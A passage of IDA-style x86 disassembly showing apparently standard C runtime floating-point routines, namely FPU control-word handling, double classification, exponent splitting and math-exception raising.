cmp [esp+arg_0], 0FFFFFFFFh
jz short locret_42183C
push [esp+arg_4]
push [esp+4+arg_0]
call sub_4247BF
pop ecx
pop ecx
locret_42183C: ; CODE XREF: sub_421826+5j
retn
sub_421826 endp
; =============== S U B R O U T I N E =======================================
sub_42183D proc near ; CODE XREF: sub_420DB0+63p
; sub_420DB0+1D3p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
push edi
loc_421843: ; CODE XREF: sub_42183D+1Dj
push [esp+8+arg_4]
inc dword ptr [esi]
call sub_42180C
mov edi, eax
push edi
call sub_41DF10
pop ecx
test eax, eax
pop ecx
jnz short loc_421843
mov eax, edi
pop edi
pop esi
retn
sub_42183D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __fastcall sub_421861(int,int,double,int)
sub_421861 proc near ; CODE XREF: sub_41D055+51p
; sub_41D19B+51p
var_1C = qword ptr -1Ch
var_14 = qword ptr -14h
var_C = qword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_C = dword ptr 14h
push ebp
mov ebp, esp
cmp dword_43D7F0, 0
jnz short loc_421896
push [ebp+arg_C] ; int
fld qword ptr [ebp+arg_4]
push ecx
push ecx ; double
fstp [esp+0Ch+var_C]
push ecx ; int
push ecx ; int
fldz
fstp [esp+14h+var_14]
fld qword ptr [ebp+arg_4]
push ecx ; int
push ecx ; int
fstp [esp+1Ch+var_1C]
push [ebp+arg_0] ; int
push 1 ; int
call sub_421E16
add esp, 24h
pop ebp
retn
; ---------------------------------------------------------------------------
loc_421896: ; CODE XREF: sub_421861+Aj
push 0FFFFh
mov dword_4DBDDC, 21h
push [ebp+arg_C]
call sub_422089
fld qword ptr [ebp+arg_4]
pop ecx
pop ecx
pop ebp
retn
sub_421861 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_4218B4(int,int,double,double,int)
sub_4218B4 proc near ; CODE XREF: sub_41D055:loc_41D118p
; sub_41D19B:loc_41D25Ep
var_74 = qword ptr -74h
var_6C = qword ptr -6Ch
var_64 = qword ptr -64h
var_5C = dword ptr -5Ch
var_58 = byte ptr -58h
var_20 = dword ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = qword ptr 10h
arg_10 = qword ptr 18h
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 58h
push [ebp+arg_18]
lea eax, [ebp+arg_10]
push eax
push [ebp+arg_0]
call sub_421BFF
add esp, 0Ch
test eax, eax
jnz short loc_4218F2
lea eax, [ebp+arg_10]
and [ebp+var_20], 0FFFFFFFEh
push eax
lea eax, [ebp+arg_8]
push eax
lea eax, [ebp+arg_18]
push [ebp+arg_4]
push [ebp+arg_0]
push eax
lea eax, [ebp+var_58]
push eax
call sub_42194C
add esp, 18h
loc_4218F2: ; CODE XREF: sub_4218B4+1Aj
push [ebp+arg_0]
call sub_421EE9
cmp dword_43D7F0, 0
pop ecx
jnz short loc_421930
test eax, eax
jz short loc_421930
push [ebp+arg_18] ; int
fld [ebp+arg_10]
push ecx
push ecx ; double
fstp [esp+64h+var_64]
push ecx ; int
push ecx ; int
fldz
fstp [esp+6Ch+var_6C]
fld [ebp+arg_8]
push ecx ; int
push ecx ; int
fstp [esp+74h+var_74]
push [ebp+arg_4] ; int
push eax ; int
call sub_421E16
add esp, 24h
leave
retn
; ---------------------------------------------------------------------------
loc_421930: ; CODE XREF: sub_4218B4+4Ej
; sub_4218B4+52j
push eax
call sub_421E9E
mov [esp+5Ch+var_5C], 0FFFFh
push [ebp+arg_18]
call sub_422089
fld [ebp+arg_10]
pop ecx
pop ecx
leave
retn
sub_4218B4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42194C proc near ; CODE XREF: sub_4218B4+36p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
mov ecx, [ebp+arg_0]
xor eax, eax
push ebx
push esi
mov [ecx+4], eax
mov ecx, [ebp+arg_0]
push edi
push 1
mov [ecx+8], eax
mov ecx, [ebp+arg_0]
pop ebx
mov [ecx+0Ch], eax
mov cl, byte ptr [ebp+arg_8]
test cl, 10h
jz short loc_42197E
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C000008Fh
or [eax+4], ebx
loc_42197E: ; CODE XREF: sub_42194C+23j
test cl, 2
jz short loc_421991
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C0000093h
or dword ptr [eax+4], 2
loc_421991: ; CODE XREF: sub_42194C+35j
test cl, bl
jz short loc_4219A3
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C0000091h
or dword ptr [eax+4], 4
loc_4219A3: ; CODE XREF: sub_42194C+47j
test cl, 4
jz short loc_4219B6
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C000008Eh
or dword ptr [eax+4], 8
loc_4219B6: ; CODE XREF: sub_42194C+5Aj
test cl, 8
jz short loc_4219C9
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C0000090h
or dword ptr [eax+4], 10h
loc_4219C9: ; CODE XREF: sub_42194C+6Dj
mov esi, [ebp+arg_4]
mov eax, [ebp+arg_0]
push 2
mov ecx, [esi]
mov edx, [eax+8]
not ecx
and ecx, ebx
and edx, 0FFFFFFEFh
shl ecx, 4
or ecx, edx
pop edi
mov [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
not ecx
mov edx, [eax+8]
and ecx, 4
shl ecx, 1
and edx, 0FFFFFFF7h
or ecx, edx
mov [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
not ecx
mov edx, [eax+8]
shr ecx, 1
and ecx, 4
and edx, 0FFFFFFFBh
or ecx, edx
mov [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
not ecx
mov edx, [eax+8]
shr ecx, 3
and ecx, edi
and edx, 0FFFFFFFDh
or ecx, edx
mov [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
not ecx
mov edx, [eax+8]
shr ecx, 5
and ecx, ebx
and edx, 0FFFFFFFEh
or ecx, edx
mov [eax+8], ecx
call sub_42206C
test al, bl
jz short loc_421A52
mov ecx, [ebp+arg_0]
or dword ptr [ecx+0Ch], 10h
loc_421A52: ; CODE XREF: sub_42194C+FDj
test al, 4
jz short loc_421A5D
mov ecx, [ebp+arg_0]
or dword ptr [ecx+0Ch], 8
loc_421A5D: ; CODE XREF: sub_42194C+108j
test al, 8
jz short loc_421A68
mov ecx, [ebp+arg_0]
or dword ptr [ecx+0Ch], 4
loc_421A68: ; CODE XREF: sub_42194C+113j
test al, 10h
jz short loc_421A72
mov ecx, [ebp+arg_0]
or [ecx+0Ch], edi
loc_421A72: ; CODE XREF: sub_42194C+11Ej
test al, 20h
jz short loc_421A7C
mov eax, [ebp+arg_0]
or [eax+0Ch], ebx
loc_421A7C: ; CODE XREF: sub_42194C+128j
mov eax, [esi]
mov ecx, 0C00h
and eax, ecx
jz short loc_421ABB
cmp eax, 400h
jz short loc_421AAD
cmp eax, 800h
jz short loc_421AA1
cmp eax, ecx
jnz short loc_421AC1
mov eax, [ebp+arg_0]
or dword ptr [eax], 3
jmp short loc_421AC1
; ---------------------------------------------------------------------------
loc_421AA1: ; CODE XREF: sub_42194C+147j
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFFEh
or ecx, edi
jmp short loc_421AB7
; ---------------------------------------------------------------------------
loc_421AAD: ; CODE XREF: sub_42194C+140j
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFFDh
or ecx, ebx
loc_421AB7: ; CODE XREF: sub_42194C+15Fj
mov [eax], ecx
jmp short loc_421AC1
; ---------------------------------------------------------------------------
loc_421ABB: ; CODE XREF: sub_42194C+139j
mov eax, [ebp+arg_0]
and dword ptr [eax], 0FFFFFFFCh
loc_421AC1: ; CODE XREF: sub_42194C+14Bj
; sub_42194C+153j ...
mov eax, [esi]
mov ecx, 300h
and eax, ecx
jz short loc_421AEC
cmp eax, 200h
jz short loc_421ADF
cmp eax, ecx
jnz short loc_421AF9
mov eax, [ebp+arg_0]
and dword ptr [eax], 0FFFFFFE3h
jmp short loc_421AF9
; ---------------------------------------------------------------------------
loc_421ADF: ; CODE XREF: sub_42194C+185j
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFE7h
or ecx, 4
jmp short loc_421AF7
; ---------------------------------------------------------------------------
loc_421AEC: ; CODE XREF: sub_42194C+17Ej
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFEBh
or ecx, 8
loc_421AF7: ; CODE XREF: sub_42194C+19Ej
mov [eax], ecx
loc_421AF9: ; CODE XREF: sub_42194C+189j
; sub_42194C+191j
mov eax, [ebp+arg_0]
mov ecx, [ebp+arg_C]
and ecx, 0FFFh
mov edx, [eax]
shl ecx, 5
and edx, 0FFFE001Fh
or ecx, edx
mov [eax], ecx
mov eax, [ebp+arg_0]
or [eax+20h], ebx
mov eax, [ebp+arg_0]
mov ecx, [eax+20h]
and ecx, 0FFFFFFE3h
or ecx, edi
mov [eax+20h], ecx
mov eax, [ebp+arg_10]
fld qword ptr [eax]
mov eax, [ebp+arg_0]
fstp qword ptr [eax+10h]
mov eax, [ebp+arg_0]
or [eax+50h], ebx
mov eax, [ebp+arg_0]
mov ecx, [eax+50h]
and ecx, 0FFFFFFE3h
or ecx, edi
mov edi, [ebp+arg_14]
mov [eax+50h], ecx
mov eax, [ebp+arg_0]
fld qword ptr [edi]
fstp qword ptr [eax+40h]
call sub_42207A
lea eax, [ebp+arg_0]
push eax
push ebx
push 0
push [ebp+arg_8]
call ds:dword_427050 ; RaiseException
mov eax, [ebp+arg_0]
test byte ptr [eax+8], 10h
jz short loc_421B73
and dword ptr [esi], 0FFFFFFFEh
loc_421B73: ; CODE XREF: sub_42194C+222j
test byte ptr [eax+8], 8
jz short loc_421B7C
and dword ptr [esi], 0FFFFFFFBh
loc_421B7C: ; CODE XREF: sub_42194C+22Bj
test byte ptr [eax+8], 4
jz short loc_421B85
and dword ptr [esi], 0FFFFFFF7h
loc_421B85: ; CODE XREF: sub_42194C+234j
test byte ptr [eax+8], 2
jz short loc_421B8E
and dword ptr [esi], 0FFFFFFEFh
loc_421B8E: ; CODE XREF: sub_42194C+23Dj
test [eax+8], bl
jz short loc_421B96
and dword ptr [esi], 0FFFFFFDFh
loc_421B96: ; CODE XREF: sub_42194C+245j
mov ecx, [eax]
mov edx, 0FFFFF3FFh
and ecx, 3
sub ecx, 0
jz short loc_421BCA
dec ecx
jz short loc_421BBE
dec ecx
jz short loc_421BB4
dec ecx
jnz short loc_421BCC
or byte ptr [esi+1], 0Ch
jmp short loc_421BCC
; ---------------------------------------------------------------------------
loc_421BB4: ; CODE XREF: sub_42194C+25Dj
mov ecx, [esi]
and ch, 0FBh
or ch, 8
jmp short loc_421BC6
; ---------------------------------------------------------------------------
loc_421BBE: ; CODE XREF: sub_42194C+25Aj
mov ecx, [esi]
and ch, 0F7h
or ch, 4
loc_421BC6: ; CODE XREF: sub_42194C+270j
mov [esi], ecx
jmp short loc_421BCC
; ---------------------------------------------------------------------------
loc_421BCA: ; CODE XREF: sub_42194C+257j
and [esi], edx
loc_421BCC: ; CODE XREF: sub_42194C+260j
; sub_42194C+266j ...
mov ecx, [eax]
shr ecx, 2
and ecx, 7
sub ecx, 0
jz short loc_421BEC
dec ecx
jz short loc_421BE3
dec ecx
jnz short loc_421BF5
and [esi], edx
jmp short loc_421BF5
; ---------------------------------------------------------------------------
loc_421BE3: ; CODE XREF: sub_42194C+28Ej
mov ecx, [esi]
and ecx, edx
or ch, 2
jmp short loc_421BF3
; ---------------------------------------------------------------------------
loc_421BEC: ; CODE XREF: sub_42194C+28Bj
mov ecx, [esi]
and ecx, edx
or ch, 3
loc_421BF3: ; CODE XREF: sub_42194C+29Ej
mov [esi], ecx
loc_421BF5: ; CODE XREF: sub_42194C+291j
; sub_42194C+295j
fld qword ptr [eax+40h]
fstp qword ptr [edi]
pop edi
pop esi
pop ebx
pop ebp
retn
sub_42194C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421BFF proc near ; CODE XREF: sub_4218B4+10p
var_24 = qword ptr -24h
var_C = qword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_0]
push ebx
push edi
mov edi, eax
and edi, 1Fh
push 1
test al, 8
pop ebx
jz short loc_421C2A
test byte ptr [ebp+arg_8], bl
jz short loc_421C2A
push ebx
call sub_4220AC
pop ecx
and edi, 0FFFFFFF7h
jmp loc_421DF4
; ---------------------------------------------------------------------------
loc_421C2A: ; CODE XREF: sub_421BFF+15j
; sub_421BFF+1Aj
test al, 4
jz short loc_421C44
test byte ptr [ebp+arg_8], 4
jz short loc_421C44
push 4
call sub_4220AC
pop ecx
and edi, 0FFFFFFFBh
jmp loc_421DF4
; ---------------------------------------------------------------------------
loc_421C44: ; CODE XREF: sub_421BFF+2Dj
; sub_421BFF+33j
test al, bl
jz loc_421D1E
test byte ptr [ebp+arg_8], 8
jz loc_421D1E
push 8
call sub_4220AC
pop ecx
mov eax, 0C00h
mov ecx, [ebp+arg_8]
and ecx, eax
jz loc_421CF6
cmp ecx, 400h
jz short loc_421CCE
cmp ecx, 800h
jz short loc_421CA6
cmp ecx, eax
jnz loc_421D16
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp ds:dbl_427860
fld dbl_43D3F0
fnstsw ax
sahf
ja short loc_421C9E
fchs
loc_421C9E: ; CODE XREF: sub_421BFF+9Bj
fstp [ebp+var_C]
fld [ebp+var_C]
jmp short loc_421D14
; ---------------------------------------------------------------------------
loc_421CA6: ; CODE XREF: sub_421BFF+7Dj
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp ds:dbl_427860
fnstsw ax
sahf
jbe short loc_421CBE
fld dbl_43D3E0
jmp short loc_421CC6
; ---------------------------------------------------------------------------
loc_421CBE: ; CODE XREF: sub_421BFF+B5j
fld dbl_43D3F0
fchs
loc_421CC6: ; CODE XREF: sub_421BFF+BDj
fstp [ebp+var_C]
fld [ebp+var_C]
jmp short loc_421D14
; ---------------------------------------------------------------------------
loc_421CCE: ; CODE XREF: sub_421BFF+75j
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp ds:dbl_427860
fnstsw ax
sahf
jbe short loc_421CE6
fld dbl_43D3F0
jmp short loc_421CEE
; ---------------------------------------------------------------------------
loc_421CE6: ; CODE XREF: sub_421BFF+DDj
fld dbl_43D3E0
fchs
loc_421CEE: ; CODE XREF: sub_421BFF+E5j
fstp [ebp+var_C]
fld [ebp+var_C]
jmp short loc_421D14
; ---------------------------------------------------------------------------
loc_421CF6: ; CODE XREF: sub_421BFF+69j
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp ds:dbl_427860
fld dbl_43D3E0
fnstsw ax
sahf
ja short loc_421D0E
fchs
loc_421D0E: ; CODE XREF: sub_421BFF+10Bj
fstp [ebp+var_C]
fld [ebp+var_C]
loc_421D14: ; CODE XREF: sub_421BFF+A5j
; sub_421BFF+CDj ...
fstp qword ptr [ecx]
loc_421D16: ; CODE XREF: sub_421BFF+81j
and edi, 0FFFFFFFEh
jmp loc_421DF4
; ---------------------------------------------------------------------------
loc_421D1E: ; CODE XREF: sub_421BFF+47j
; sub_421BFF+51j
test al, 2
jz loc_421DF4
test byte ptr [ebp+arg_8], 10h
jz loc_421DF4
push esi
xor esi, esi
test al, 10h
jz short loc_421D39
mov esi, ebx
loc_421D39: ; CODE XREF: sub_421BFF+136j
mov eax, [ebp+arg_4]
fld qword ptr [eax]
fstp [ebp+var_C]
fld [ebp+var_C]
fcomp ds:dbl_427860
fnstsw ax
sahf
jz loc_421DE2
fld [ebp+var_C]
lea eax, [ebp+var_4]
push eax ; int
push ecx
push ecx ; double
fstp [esp+24h+var_24]
call sub_421FAB
mov eax, [ebp+var_4]
add esp, 0Ch
fstp [ebp+var_C]
lea ecx, [eax-600h]
cmp ecx, 0FFFFFBCEh
jge short loc_421D84
fldz
mov esi, ebx
fstp [ebp+var_C]
jmp short loc_421DD8
; ---------------------------------------------------------------------------
loc_421D84: ; CODE XREF: sub_421BFF+17Aj
fld [ebp+var_C]
fcomp ds:dbl_427860
fnstsw ax
sahf
jnb short loc_421D96
mov edx, ebx
jmp short loc_421D98
; ---------------------------------------------------------------------------
loc_421D96: ; CODE XREF: sub_421BFF+191j
xor edx, edx
loc_421D98: ; CODE XREF: sub_421BFF+195j
mov al, byte ptr [ebp+var_C+6]
and eax, 0Fh
or al, 10h
mov word ptr [ebp+var_C+6], ax
mov eax, 0FFFFFC03h
cmp ecx, eax
jge short loc_421DCC
sub eax, ecx
loc_421DAF: ; CODE XREF: sub_421BFF+1CBj
test byte ptr [ebp+var_C], bl
jz short loc_421DBA
test esi, esi
jnz short loc_421DBA
mov esi, ebx
loc_421DBA: ; CODE XREF: sub_421BFF+1B3j
; sub_421BFF+1B7j
shr dword ptr [ebp+var_C], 1
test byte ptr [ebp+var_C+4], bl
jz short loc_421DC6
or byte ptr [ebp+var_C+3], 80h
loc_421DC6: ; CODE XREF: sub_421BFF+1C1j
shr dword ptr [ebp+var_C+4], 1
dec eax
jnz short loc_421DAF
loc_421DCC: ; CODE XREF: sub_421BFF+1ACj
test edx, edx
jz short loc_421DD8
fld [ebp+var_C]
fchs
fstp [ebp+var_C]
loc_421DD8: ; CODE XREF: sub_421BFF+183j
; sub_421BFF+1CFj
fld [ebp+var_C]
mov eax, [ebp+arg_4]
fstp qword ptr [eax]
jmp short loc_421DE4
; ---------------------------------------------------------------------------
loc_421DE2: ; CODE XREF: sub_421BFF+14Ej
mov esi, ebx
loc_421DE4: ; CODE XREF: sub_421BFF+1E1j
test esi, esi
pop esi
jz short loc_421DF1
push 10h
call sub_4220AC
pop ecx
loc_421DF1: ; CODE XREF: sub_421BFF+1E8j
and edi, 0FFFFFFFDh
loc_421DF4: ; CODE XREF: sub_421BFF+26j
; sub_421BFF+40j ...
test byte ptr [ebp+arg_0], 10h
jz short loc_421E0B
test byte ptr [ebp+arg_8], 20h
jz short loc_421E0B
push 20h
call sub_4220AC
pop ecx
and edi, 0FFFFFFEFh
loc_421E0B: ; CODE XREF: sub_421BFF+1F9j
; sub_421BFF+1FFj
xor eax, eax
test edi, edi
pop edi
pop ebx
setz al
leave
retn
sub_421BFF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_421E16(int,int,int,int,int,int,double,int)
sub_421E16 proc near ; CODE XREF: sub_421861+2Bp
; sub_4218B4+72p
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = qword ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = qword ptr 20h
arg_20 = dword ptr 28h
push ebp
mov ebp, esp
sub esp, 20h
push [ebp+arg_4]
call sub_421EC4
test eax, eax
pop ecx
mov [ebp+var_1C], eax
jz short loc_421E81
mov eax, [ebp+arg_8]
push esi
mov [ebp+var_18], eax
mov eax, [ebp+arg_C]
mov [ebp+var_14], eax
mov eax, [ebp+arg_10]
mov esi, [ebp+arg_0]
mov [ebp+var_10], eax
mov eax, [ebp+arg_14]
push 0FFFFh
push [ebp+arg_20]
mov [ebp+var_C], eax
mov eax, dword ptr [ebp+arg_18]
mov [ebp+var_20], esi
mov dword ptr [ebp+var_8], eax
mov eax, dword ptr [ebp+arg_18+4]
mov dword ptr [ebp+var_8+4], eax
call sub_422089
lea eax, [ebp+var_20]
push eax
call sub_42482D
add esp, 0Ch
test eax, eax
jnz short loc_421E7B
push esi
call sub_421E9E
pop ecx
loc_421E7B: ; CODE XREF: sub_421E16+5Cj
fld [ebp+var_8]
pop esi
leave
retn
; ---------------------------------------------------------------------------
loc_421E81: ; CODE XREF: sub_421E16+14j
push 0FFFFh
push [ebp+arg_20]
call sub_422089
push [ebp+arg_0]
call sub_421E9E
fld [ebp+arg_18]
add esp, 0Ch
leave
retn
sub_421E16 endp
; =============== S U B R O U T I N E =======================================
sub_421E9E proc near ; CODE XREF: sub_4218B4+7Dp
; sub_421E16+5Fp ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, 1
jz short loc_421EB9
jle short locret_421EC3
cmp eax, 3
jg short locret_421EC3
mov dword_4DBDDC, 22h
retn
; ---------------------------------------------------------------------------
loc_421EB9: ; CODE XREF: sub_421E9E+7j
mov dword_4DBDDC, 21h
locret_421EC3: ; CODE XREF: sub_421E9E+9j
; sub_421E9E+Ej
retn
sub_421E9E endp
; =============== S U B R O U T I N E =======================================
sub_421EC4 proc near ; CODE XREF: sub_421E16+9p
arg_0 = dword ptr 4
xor ecx, ecx
mov eax, offset dword_43D308
loc_421ECB: ; CODE XREF: sub_421EC4+18j
mov edx, [eax]
cmp edx, [esp+arg_0]
jz short loc_421EE1
add eax, 8
inc ecx
cmp eax, offset dbl_43D3E0
jl short loc_421ECB
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_421EE1: ; CODE XREF: sub_421EC4+Dj
mov eax, off_43D30C[ecx*8]
retn
sub_421EC4 endp
; =============== S U B R O U T I N E =======================================
sub_421EE9 proc near ; CODE XREF: sub_4218B4+41p
arg_0 = byte ptr 4
mov al, [esp+arg_0]
test al, 20h
jz short loc_421EF5
push 5
jmp short loc_421F0B
; ---------------------------------------------------------------------------
loc_421EF5: ; CODE XREF: sub_421EE9+6j
test al, 8
jz short loc_421EFD
push 1
jmp short loc_421F0B
; ---------------------------------------------------------------------------
loc_421EFD: ; CODE XREF: sub_421EE9+Ej
test al, 4
jz short loc_421F05
push 2
jmp short loc_421F0B
; ---------------------------------------------------------------------------
loc_421F05: ; CODE XREF: sub_421EE9+16j
test al, 1
jz short loc_421F0D
push 3
loc_421F0B: ; CODE XREF: sub_421EE9+Aj
; sub_421EE9+12j ...
pop eax
retn
; ---------------------------------------------------------------------------
loc_421F0D: ; CODE XREF: sub_421EE9+1Ej
movzx eax, al
and eax, 2
shl eax, 1
retn
sub_421EE9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_421F16(double)
sub_421F16 proc near ; CODE XREF: sub_41D055:loc_41D0DBp
; sub_41D19B:loc_41D221p
var_8 = qword ptr -8
arg_0 = qword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
fld [ebp+arg_0]
frndint
fstp [ebp+var_8]
fld [ebp+var_8]
leave
retn
sub_421F16 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_421F28(double,int)
sub_421F28 proc near ; CODE XREF: sub_421FAB+82p
; sub_421FAB+98p
var_8 = qword ptr -8
arg_0 = qword ptr 8
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_8]
mov ecx, [ebp+0Eh]
fld [ebp+arg_0]
add eax, 3FEh
and cx, 800Fh
fstp [ebp+var_8]
shl eax, 4
or eax, ecx
mov word ptr [ebp+var_8+6], ax
fld [ebp+var_8]
leave
retn
sub_421F28 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421F51 proc near ; CODE XREF: sub_41D055+31p
; sub_41D19B+31p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
xor edx, edx
cmp [ebp+arg_4], 7FF00000h
jnz short loc_421F68
cmp [ebp+arg_0], edx
jnz short loc_421F7A
push 1
jmp short loc_421FA4
; ---------------------------------------------------------------------------
loc_421F68: ; CODE XREF: sub_421F51+Cj
cmp [ebp+arg_4], 0FFF00000h
jnz short loc_421F7A
cmp [ebp+arg_0], edx
jnz short loc_421F7A
push 2
jmp short loc_421FA4
; ---------------------------------------------------------------------------
loc_421F7A: ; CODE XREF: sub_421F51+11j
; sub_421F51+1Ej ...
mov ecx, [ebp+arg_4+2]
mov eax, 7FF8h
and ecx, eax
cmp cx, ax
jnz short loc_421F8D
push 3
jmp short loc_421FA4
; ---------------------------------------------------------------------------
loc_421F8D: ; CODE XREF: sub_421F51+36j
cmp cx, 7FF0h
jnz short loc_421FA7
test [ebp+arg_4], 7FFFFh
jnz short loc_421FA2
cmp [ebp+arg_0], edx
jz short loc_421FA7
loc_421FA2: ; CODE XREF: sub_421F51+4Aj
push 4
loc_421FA4: ; CODE XREF: sub_421F51+15j
; sub_421F51+27j ...
pop eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_421FA7: ; CODE XREF: sub_421F51+41j
; sub_421F51+4Fj
xor eax, eax
pop ebp
retn
sub_421F51 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_421FAB(double,int)
sub_421FAB proc near ; CODE XREF: sub_421BFF+160p
var_18 = qword ptr -18h
var_8 = qword ptr -8
arg_0 = qword ptr 8
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
fld [ebp+arg_0]
fcomp ds:dbl_427860
push esi
fnstsw ax
sahf
jnz short loc_421FCB
fldz
xor esi, esi
fstp [ebp+var_8]
jmp loc_422061
; ---------------------------------------------------------------------------
loc_421FCB: ; CODE XREF: sub_421FAB+12j
xor ecx, ecx
test word ptr [ebp+arg_0+6], 7FF0h
jnz short loc_42203A
test dword ptr [ebp+arg_0+4], 0FFFFFh
jnz short loc_421FE3
cmp dword ptr [ebp+arg_0], ecx
jz short loc_42203A
loc_421FE3: ; CODE XREF: sub_421FAB+31j
fld [ebp+arg_0]
fcomp ds:dbl_427860
mov esi, 0FFFFFC03h
fnstsw ax
sahf
jnb short loc_421FFB
push 1
pop eax
jmp short loc_421FFD
; ---------------------------------------------------------------------------
loc_421FFB: ; CODE XREF: sub_421FAB+49j
xor eax, eax
loc_421FFD: ; CODE XREF: sub_421FAB+4Ej
; sub_421FAB+69j
test byte ptr [ebp+arg_0+6], 10h
jnz short loc_422016
shl dword ptr [ebp+arg_0+4], 1
test byte ptr [ebp+arg_0+3], 80h
jz short loc_422010
or dword ptr [ebp+arg_0+4], 1
loc_422010: ; CODE XREF: sub_421FAB+5Fj
shl dword ptr [ebp+arg_0], 1
dec esi
jmp short loc_421FFD
; ---------------------------------------------------------------------------
loc_422016: ; CODE XREF: sub_421FAB+56j
and word ptr [ebp+arg_0+6], 0FFEFh
cmp eax, ecx
jz short loc_422024
or byte ptr [ebp+arg_0+7], 80h
loc_422024: ; CODE XREF: sub_421FAB+73j
fld [ebp+arg_0]
push ecx ; int
push ecx
push ecx ; double
fstp [esp+18h+var_18]
call sub_421F28
fstp [ebp+var_8]
add esp, 0Ch
jmp short loc_422061
; ---------------------------------------------------------------------------
loc_42203A: ; CODE XREF: sub_421FAB+28j
; sub_421FAB+36j
fld [ebp+arg_0]
push ecx ; int
push ecx
push ecx ; double
fstp [esp+18h+var_18]
call sub_421F28
mov eax, dword ptr [ebp+arg_0+6]
add esp, 0Ch
fstp [ebp+var_8]
shr eax, 4
and ax, 7FFh
movsx esi, ax
sub esi, 3FEh
loc_422061: ; CODE XREF: sub_421FAB+1Bj
; sub_421FAB+8Dj
mov eax, [ebp+arg_8]
fld [ebp+var_8]
mov [eax], esi
pop esi
leave
retn
sub_421FAB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42206C proc near ; CODE XREF: sub_42194C+F6p
var_2 = word ptr -2
push ebp
mov ebp, esp
push ecx
fstsw [ebp+var_2]
movsx eax, [ebp+var_2]
leave
retn
sub_42206C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42207A proc near ; CODE XREF: sub_42194C+206p
var_2 = word ptr -2
push ebp
mov ebp, esp
push ecx
fnstsw [ebp+var_2]
fnclex
movsx eax, [ebp+var_2]
leave
retn
sub_42207A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422089 proc near ; CODE XREF: sub_41D055+13p
; sub_41D055+5Dp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
fstcw word ptr [ebp+var_4]
mov eax, [ebp+arg_4]
mov ecx, eax
and eax, [ebp+arg_0]
not ecx
and ecx, [ebp+var_4]
or ecx, eax
mov [ebp+arg_4], ecx
fldcw word ptr [ebp+arg_4]
movsx eax, word ptr [ebp+var_4]
leave
retn
sub_422089 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4220AC proc near ; CODE XREF: sub_421BFF+1Dp
; sub_421BFF+37p ...
var_8 = qword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov cl, byte ptr [ebp+arg_0]
test cl, 1
jz short loc_4220C3
fld tbyte_43D408
fistp [ebp+arg_0]
wait
loc_4220C3: ; CODE XREF: sub_4220AC+Bj
test cl, 8
jz short loc_4220D8
fstsw ax
fld tbyte_43D408
fstp [ebp+var_8]
wait
fstsw ax
loc_4220D8: ; CODE XREF: sub_4220AC+1Aj
test cl, 10h
jz short loc_4220E7
fld tbyte_43D414
fstp [ebp+var_8]
wait
loc_4220E7: ; CODE XREF: sub_4220AC+2Fj
test cl, 4
jz short loc_4220F5
fldz
fld1
fdivrp st(1), st
